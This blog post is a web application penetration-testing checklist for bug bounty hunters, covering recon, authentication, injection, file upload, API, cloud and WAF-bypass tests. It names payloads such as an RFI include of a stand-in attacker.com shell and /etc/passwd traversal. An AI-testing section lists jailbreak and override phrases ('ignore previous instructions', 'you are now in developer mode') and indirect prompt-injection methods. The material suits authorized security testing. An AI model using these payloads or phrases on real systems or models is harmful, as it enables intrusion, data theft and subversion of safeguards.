Post

Web Checklist - Exploitation

Posted Updated
By k0NN
13 min read
Web Checklist - Exploitation

A combination of my own methodology and the Web Application Hacker’s Handbook Task checklist, as a Github-Flavored Markdown file

  • maintain a personal payloads repo synced with BLNS/SecLists; keep a tiny “golden” set for smoke tests

Reconnaissance and Analysis

  • Map visible content (Manually)
    • Perform Functionality Mapping by browsing the application thoroughly.
    • Check API Documentation (Public, Swagger/OpenAPI).
  • Discover hidden & default content (Directory/File Bruteforce)
  • Test for debug parameters
  • Identify data entry points (Discover Dynamic Content in Burp Pro)
  • Identify the technologies used (Wappalyzer or similiar)
  • Research existing vulnerabilities in technology (Google ++)
  • Gather wordlists for specific technology (Assetnote, SecList and Naughty Strings)
  • Map the attack surface automatically (e.g Burp spider)
  • Identify all javascript files for later analysis (in your proxy)
  • Scope Discovery (DNS, IPs, Subdomains)
  • Capture API contracts (OpenAPI/GraphQL) and diff against observed traffic
  • Identify gateways/WAF/CDN (headers, cookies, control pages)
  • Identify cache layers and behaviors (vary keys, CDN rules, edge rewrites)

Find Origin IP behind CDN/WAF

  • Confirm WAF presence (IP Org check, headers, cookies, block pages).
  • Check Historical DNS records (SecurityTrails, DNSDumpster).
  • Enumerate Subdomains & check IPs (focus on dev/staging).
  • Analyze SSL Certificates (Censys, Shodan - check SANs).
  • Analyze Email Headers from target (Received, X-Originating-IP).
  • Test potential IPs directly (curl --resolve example.com:443:<IP> https://example.com/).
  • Verify potential origin IPs (compare content, headers, certs).
  • Probe HTTP/3 Alt‑Svc leakage and SNI/Host mismatches.

Access Control Testing

Authentication

  • Test password quality rules
    • Minimum length, complexity, history, common password checks?
    • Paste functionality disabled?
  • Test for username enumeration
    • Analyze response time, error messages, status codes for valid/invalid users.
    • Check account recovery flow for enumeration.
  • Test resilience to password guessing
    • Is there rate limiting on login attempts?
    • Is there account lockout mechanism?
  • Test any account recovery function
    • Weak security questions?
    • Host header injection in reset emails?
    • Token leakage via Referer?
    • Lack of token validation?
    • Predictable reset tokens?
  • Test any “remember me” function
    • Analyze token entropy, expiration, security attributes.
  • Test any impersonation function
  • Test username uniqueness
    • Case sensitivity issues? (admin vs Admin)
    • Whitespace trimming issues?
  • Check for unsafe distribution of credentials
  • Test for fail-open conditions
  • Test any multi-stage mechanisms
    • MFA bypasses (enrollment skip, verification manipulation, brute-force codes)?
    • Can MFA be disabled easily?
    • Parameter pollution vulnerabilities?
    • Test OAuth Flows (see dedicated section).
    • Test JWT implementations (see dedicated section).
    • Check for API Key leakage (source code, client-side JS, mobile apps).
    • Test API Key usage (URL, Header, Cookie).
    • Test HTTP Basic Auth strength.
    • Test HMAC signature implementation if used.
    • Validate DPoP/mTLS token binding if advertised.
    • Refresh‑token rotation and reuse detection.
    • Passkeys/WebAuthn flows including recovery/fallbacks.

Session handling

  • Test tokens for meaning
  • Test tokens for predictability
  • Check for insecure transmission of tokens
    • Missing Secure flag on cookies?
    • Sent over HTTP?
  • Check for disclosure of tokens in logs and URL params
  • Check mapping of tokens to sessions(can they be reused?)
  • Check session termination
    • Does logout fully invalidate the session token?
    • Is there session rotation on login/logout/privilege change?
    • Check session timeout enforcement (client/server).
    • Token reuse across devices; device binding enforced?
    • Cookie partitioning/CHIPS behavior in embedded/3rd‑party contexts.
  • Check for session fixation
    • Are session tokens retained pre/post-authentication?
    • Can a specific token be forced on a user?
  • Check for cross-site request forgery
    • Presence and validation of Anti-CSRF tokens?
    • Use of SameSite cookie attribute?
      • Check if Lax or Strict. None requires Secure.
    • Check Referer/Origin header validation.
    • Try removing token parameter.
    • Try switching request method (POST -> GET).
    • Try changing Content-Type.
    • Use Burp CSRF PoC generator.
    • Test login CSRF and OAuth state parameter integrity.
    • Validate Origin and Sec-Fetch-* headers on state‑changing requests.
  • Check cookie scope
    • Domain and Path attributes too broad?
    • HttpOnly flag missing?

Access controls

  • Understand the access control requirements
  • Test effectiveness of controls, using multiple accounts if possible
    • Can User A access User B’s data (same privilege)?
    • Can a lower-privileged user access higher-privileged resources/functions?
    • Pay attention to features returning sensitive info or modifying data.
    • Create accounts for each role.
  • Test for insecure access control methods (request parameters, Referer header, etc)
    • Check for IDs in URL params, body, cookies, headers (id, user_id, account_id, etc.).
    • Try modifying numerical IDs (1 -> 2).
    • Try replacing UUIDs/GUIDs.
    • Decode/modify encoded IDs (Base64, Hex).
    • Add missing IDs (e.g., add user_id to /api/messages).
    • Manipulate arrays/objects in JSON/XML requests.
    • Change request method (GET -> POST/PUT).
    • Change file types (/resource/1 -> /resource/1.json).
    • Wrap IDs in arrays (id:1 -> id:[1]) or objects (id:1 -> id:{id:1}).
    • Test parameter pollution (id=attacker&id=victim).
    • Test wildcard access (/users/*).
  • Test Broken Object Property Level Authorization (BOPLA) / Mass Assignment:
    • Can read-only properties be modified via request?
    • Can sensitive properties seen in responses be added to update requests?
    • Try JSON Patch/Merge Patch content types to sneak forbidden fields.
  • Test Broken Function Level Authorization (BFLA):
    • Can user A access functions intended only for user B (e.g., admin functions)?
    • Try accessing admin endpoints directly (/admin, /dashboard).
    • Test different HTTP methods on endpoints (e.g., GET -> PUT/DELETE).
    • Check older API versions (/v1/ vs /v3/).

Input Validation Testing

  • Fuzz all request parameters
    • Identify injection points.
    • Choose appropriate Payload Lists (SecLists, BLNS, FuzzDB).
    • Monitor results for anomalies.
  • Test for SQL injection
    • Use SQLMap for automation/deeper testing.
  • Identify all reflected data
  • Test for reflected XSS
    • Hint: Look for requests echoing URL parameters in the response.
  • Test for HTTP header injection
    • Hint: Look for requests echoing URL parameters in the response (CRLF).
  • Test for arbitrary redirection (Open Redirect)
    • Hint: Check any URLs with redirect-related parameters (redirect, url, next, returnTo, redirect_uri, etc.).
    • Test redirect endpoints (social login, auth flows, payment gateways).
  • Test for stored attacks
    • Test comments, user profiles, product reviews, etc.
    • Consider Blind XSS vectors (admin panels, log viewers) - use callback listeners (XSS Hunter, Collaborator).
  • Test for OS command injection
    • Test URL parameters, HTTP headers, body parameters, file uploads.
  • Test for path traversal
    • Test parameters used in file operations (e.g., ?file=, ?template=, ?document=).
    • Double decode, mixed slashes, UTF‑8 overlong sequences; framework-specific normalization.
  • Test for script injection
    • Check for SSTI (Server-Side Template Injection) by injecting template characters: ${{<%[%'"}}%\, {{7*7}}, ${7*7}.
    • Identify engine using error messages or specific syntax ({{config}}, {$smarty}).
    • Use engine-specific payloads (Jinja2, FreeMarker, Smarty, etc.) for RCE/file read.
    • Test client‑side template injection (Angular/React) via DOM sinks.
  • Test for file inclusion
    • LFI: Test including local files (/etc/passwd, C:\windows\win.ini).
    • RFI: Test including remote files (http://attacker.com/shell.txt). Requires allow_url_include in PHP.
    • Check PHP wrappers: php://filter/convert.base64-encode/resource=, php://input, data://.
    • Can this be escalated to RCE? (Log poisoning, /proc/self/environ, PHP sessions, file uploads).
    • Blind LFI via zip/tar traversal and image processing libraries.
  • Test for SMTP injection
  • Test for native software flaws (buffer overflow, integer bugs, format strings)
  • Test for SOAP injection
  • Test for LDAP injection
  • Test for XPath injection
    • Hint: Check any XML-accepting HTTP requests (also for XXE).
  • Test for XXE (XML External Entity)
    • Identify XML inputs (API endpoints, file uploads: XML, DOCX, SVG, SOAP).
    • Check if Content-Type application/xml is accepted even on JSON endpoints.
    • Test file uploads (SVG, DOCX) by embedding XXE payloads.

File Upload Testing

  • Identify all file upload functionalities (profiles, docs, media, imports).
  • Test uploading basic executable types (PHP, ASP, JSP, etc.).
  • Test alternative/double extensions (.phtml, .php5, .inc, .aspx, file.php.jpg, file.php%00.jpg).
  • Test case sensitivity (.PhP, .AspX).
  • Test trailing characters (file.php., file.php::$DATA).
  • Modify Content-Type header (image/jpeg for PHP file).
  • Forge Magic Bytes (e.g., prepend GIF89a; to PHP shell).
  • Test Polyglot files (e.g., GIFAR, image with code in EXIF).
  • Test Path Traversal in filename (../../etc/passwd).
  • Test Command/SQL/SSRF injection in filename parameter.
  • Test Archive uploads (Zip Slip, Symlinks).
  • Check for ImageMagick vulnerabilities (ImageTragick).
  • Check for vulnerabilities in 3rd-party libraries (ExifTool).
  • Test for Race Conditions during upload/validation.
  • Bypass client-side validation (disable JS, intercept request).
  • Test post‑upload processing chains (thumbnailers, OCR, AV scanners) for RCE/SSRF.
  • Validate MIME sniffing vs Content‑Type; double extensions and unicode normalization.
  • Image/Ghostscript/PDFium converters sandboxed; CDR re-encode pipeline.

Business Logic Testing

  • Identify the logic attack surface
    • Pay extra attention to sensitive functionalities (payments, account changes).
  • Test transmission of data via the client
  • Test for reliance on client-side input validation
  • Test any thick-client components (Java, ActiveX, Flash)
  • Test multi-stage processes for logic flaws
  • Test handling of incomplete input
  • Test trust boundaries
  • Test transaction logic
    • Hint: Check for Race Conditions in delayed processing or TOCTOU scenarios.
    • Verify idempotency keys; attempt replay and double‑spend.

API Security Testing

API Specific Testing (General)

  • Identify API types (REST, SOAP, GraphQL).
  • SOAP: Look for WSDL (?wsdl, .wsdl).
  • Check for Information Disclosure in verbose error messages or responses.
  • Test for Unrestricted Resource Consumption (rate-limits, quotas, payload depth/size)
  • Check for Security Misconfiguration (e.g., default creds on related systems).
  • Check for Improper Inventory Management (e.g., Beta/dev APIs exposed).

GraphQL Specific Testing

  • Identify Endpoint (/graphql, /graphiql, etc.).
  • Test for Introspection Query ({__schema{...}}).
  • If Introspection enabled, analyze schema (sensitive types/fields/mutations, auth).
  • If Introspection disabled, try guessing common types/fields (use clairvoyance, inql, wordlists).
  • Test Queries/Mutations for BOLA/IDOR (manipulate IDs).
  • Test Queries/Mutations for BFLA (access unauthorized actions).
  • Test for Injection (SQLi, NoSQLi, OS Cmd) in arguments.
  • Test for DoS (deeply nested queries, large limits, batching abuse, field duplication/aliases).
  • Test Subscriptions for data leakage / auth issues.
  • Enforce persisted/signed queries; depth/alias/complexity limits.
  • Federation/router vs subgraph auth consistency.

OAuth Specific Testing

  • Identify OAuth flows used (Authorization Code, Implicit, etc.).
  • Test redirect_uri validation (Open Redirects, path traversal, subdomain bypasses).
  • Test state parameter (Missing? Predictable? Reusable? CSRF potential).
  • Test for token leakage via Referer headers (especially Implicit flow).
  • Check for Client Secret leakage (client-side code, source repos).
  • Test Scope validation (can requested scopes be elevated?).
  • Test account linking/unlinking logic for takeovers.
  • Test PKCE implementation if used.
  • Test DPoP proof validation (nonce, clock skew, method/path binding).
  • Confirm strict redirect_uri matching; block wildcards and path traversal.
  • PAR/JAR/JARM where supported; check for downgrade paths.

JWT Specific Testing

  • Identify JWT usage (Authorization header, cookies, local storage).
  • Decode and Inspect token (header, payload, signature).
    • Check alg (algorithm).
    • Check payload for sensitive data.
    • Check standard claims (exp, nbf, iat, iss, aud).
  • Test alg: none bypass.
  • Test Algorithm Confusion (e.g., RS256 -> HS256, sign with public key as secret).
  • Test Signature validation (remove signature, tamper payload).
  • Test weak HMAC secret brute-force (use jwt_tool, wordlists).
  • Test kid parameter injection (SQLi, Path Traversal, use /dev/null).
  • Test jku/jwk header injection (point to controlled URL/key).
  • Test claim validation bypass (expired exp, future nbf, wrong aud/iss).
  • Verify key rotation; test old keys acceptance and algorithm confusion protections.

Infrastructure Security Testing

  • Test segregation in shared infrastructures
  • Test segregation between ASP-hosted applications
  • Test for web server vulnerabilities
    • Default credentials
    • Virtual hosting mis-configuration
    • Bugs in web server software
    • Out-of-date software versions
  • Test for misconfigured cloud assets
    • Publicly accessible storage (S3 buckets, Azure blobs, EBS volumes)?
    • Weak IAM permissions/roles?
    • Exposed metadata service (e.g., via SSRF)?
    • Leaked credentials in environment variables, config files, or code repos?
    • Unrestricted network ingress/egress rules?
    • AWS-Specific:
      • Check IMDSv2 enforcement; SSRF to metadata hardened?
      • ECS/EKS task credentials exposure; IRSA/Workload Identity configured?
      • SSM Session Manager access without MFA
      • Lambda environment variables containing secrets
      • S3 bucket policies allowing anonymous access
    • Azure-Specific:
      • Managed Identity token theft via IMDS (169.254.169.254)
      • Key Vault soft-delete disabled or purge protection off
      • Storage Account keys exposed (prefer SAS tokens)
      • Entra ID Conditional Access bypass vectors
      • Azure Function anonymous authentication enabled
    • GCP-Specific:
      • Workload Identity Federation misconfiguration
      • Service Account key creation permissions
      • Compute Engine default service account with Editor role
      • Cloud Storage uniform bucket-level access disabled
      • GKE Workload Identity not enforced
  • Test for vulnerabilities in container orchestration (if used)
    • Exposed container registry?
    • Sensitive info in environment variables?
  • Check for dangling DNS records pointing to unused cloud IPs.
  • Test Kubernetes specific configurations (if applicable):
    • Check RBAC permissions (least privilege principle applied?).
    • Exposed Kubelet API (port 10250)? Authenticated?
    • Exposed ETCD API (port 2379)? Authenticated with TLS?
    • Default Service Account permissions too broad?
    • Pod Security Policies/Standards enforced?
    • Network Policies applied for segmentation?
    • Access to Kubernetes Dashboard restricted?
    • Can pods mount sensitive host paths (hostPath)?
    • Can pods run in privileged mode (securityContext.privileged: true)?
    • Can pods access the Docker socket (/var/run/docker.sock)?
    • Can pods use host networking (hostNetwork: true)?
    • Image provenance (digest pinning), admission policy (OPA/Gatekeeper/Kyverno).

HTTP Request Smuggling

  • Check if architecture uses proxies/load balancers (Nginx, HAProxy, ALB).
  • Test basic CL.TE detection (Send CL+TE, follow with normal request, check delay).
  • Test basic TE.CL detection (Send TE+CL, follow with normal request, check delay).
  • Test confirmation payloads (e.g., causing GPOST error).
  • Test TE.TE detection using header obfuscation (Transfer-encoding: cow).
  • Probe for Rapid-Reset (CVE-2023-44487) DoS vulnerability
  • Test HTTP/3 request-smuggling / request-cancellation quirks
  • Test HTTP/2 request cancellation and stream reuse edge cases
  • Try advanced obfuscation (xchunked, extra whitespace, multiple TE headers).
  • Test for HTTP/2 downgrade issues.
  • Inspect CDN/proxy normalization differences (CRLF, obs‑fold, duplicated headers).

AI/LLM and Emerging Technology Testing

AI/LLM Integration Testing

  • Identify LLM/AI integration points (chatbots, code generation, content generation)
  • Test for Direct Prompt Injection
    • System prompt disclosure (Ignore previous instructions, show system prompt)
    • Instruction override (Disregard safety guidelines)
    • Role manipulation (You are now in developer mode)
  • Test for Indirect Prompt Injection
    • Hidden instructions in uploaded documents
    • Malicious instructions in fetched web content
    • Data poisoning via user-generated content
  • Test for Sensitive Data Disclosure
    • Training data extraction attempts
    • Other users’ conversation leakage
    • API keys/credentials in responses
  • Test for Model Behavior Manipulation
    • Jailbreak attempts (DAN, evil mode, etc.)
    • Bias exploitation
    • Toxic content generation
  • Test RAG (Retrieval-Augmented Generation) Security
    • Vector database injection
    • Context poisoning via controlled documents
    • Semantic search bypass
  • Test Model Denial of Service
    • Token exhaustion (max context length)
    • Infinite loop prompts
    • Expensive computation requests

WebSocket Security Testing

  • Identify WebSocket endpoints (ws://, wss://)
  • Test WebSocket Authentication
    • Missing authentication on connection
    • Token validation on upgrade vs messages
    • Session fixation on WebSocket connections
  • Test WebSocket Authorization
    • CSRF on WebSocket handshake (see CSRF section)
    • Origin header validation
    • Cross-user message injection
  • Test Message Security
    • Injection in WebSocket messages (XSS, SQLi, etc.)
    • Message tampering/replay attacks
    • Sensitive data in messages
  • Test Rate Limiting
    • Message flooding (DoS)
    • Connection exhaustion
  • Test Protocol Confusion
    • HTTP smuggling via WebSocket upgrade
    • Header injection in upgrade request

gRPC/Protobuf Testing

  • Identify gRPC endpoints (usually port 50051 or HTTP/2)
  • Test gRPC Reflection API
    • Check if reflection is enabled (grpcurl -plaintext host:port list)
    • Enumerate services and methods
  • Test Authentication/Authorization
    • Missing metadata validation
    • JWT/API key in metadata tampering
    • Method-level authorization bypass
  • Test Message Tampering
    • Protobuf field manipulation
    • Type confusion attacks
    • Repeated field abuse
  • Test Streaming Abuse
    • Server streaming DoS
    • Client streaming exhaustion
    • Bidirectional streaming race conditions
  • Test for Injection Vulnerabilities
    • SQL injection in gRPC parameters
    • Command injection in string fields
    • Path traversal in file operations

Server-Sent Events (SSE) Testing

  • Identify SSE endpoints (Content-Type: text/event-stream)
  • Test for authentication bypass
  • Test for CSRF on SSE connections
  • Test for cross-user data leakage
  • Test for message injection

Additional Security Checks

  • Check for DOM-based attacks
  • Check for frame injection
    • Check for Clickjacking defenses (X-Frame-Options, CSP frame-ancestors).
  • Check for local privacy vulnerabilities
  • Persistent cookies
  • Caching
  • Sensitive data in URL parameters
  • Forms with autocomplete enabled
  • Follow up any information leakage
  • Check for weak SSL ciphers
  • CSP/Trusted Types enforcement; XFO and frame‑ancestors set correctly.
  • Service worker and PWA cache poisoning risks.
  • Subresource Integrity (SRI) on third‑party scripts.
  • Web Cache Poisoning/Deception checks (vary headers, CDN keys, 3xx cacheability).
  • Service worker scope abuse and offline cache poisoning.

WAF Bypass Testing

  • Identify WAF (Headers, Cookies, JS Objects, Block Pages, Routes).
  • Fingerprint WAF (Lowercase methods, Tabs, specific behaviors).
  • Use Residential/Mobile IPs / Proxy Rotation.
  • Fortify Headless Browsers (undetected_chromedriver, stealth plugins).
  • Find & Use Origin IP (see Recon section).
  • Use WAF Solver Tools (BypassWAF, Cfscrape).
  • Analyze/Reverse Engineer JS Challenges.
  • Defeat Browser/TLS Fingerprinting.
  • Simulate Human Behavior (Delays, Navigation, Mouse).
  • Apply Payload Obfuscation/Encoding (Specific to Vuln Type - see SQLi/XSS sections).
    • SQLi: Comments (/**/), Encoding, Case Variation.
    • XSS: Obfuscation, different tags/events, encoding.
  • HTTP/2/3 behavior differences, domain fronting checks, SNI/Host mismatch.
Bug Bounty
bug bounty exploitation web security checklist
This post is licensed under CC BY 4.0 by the author.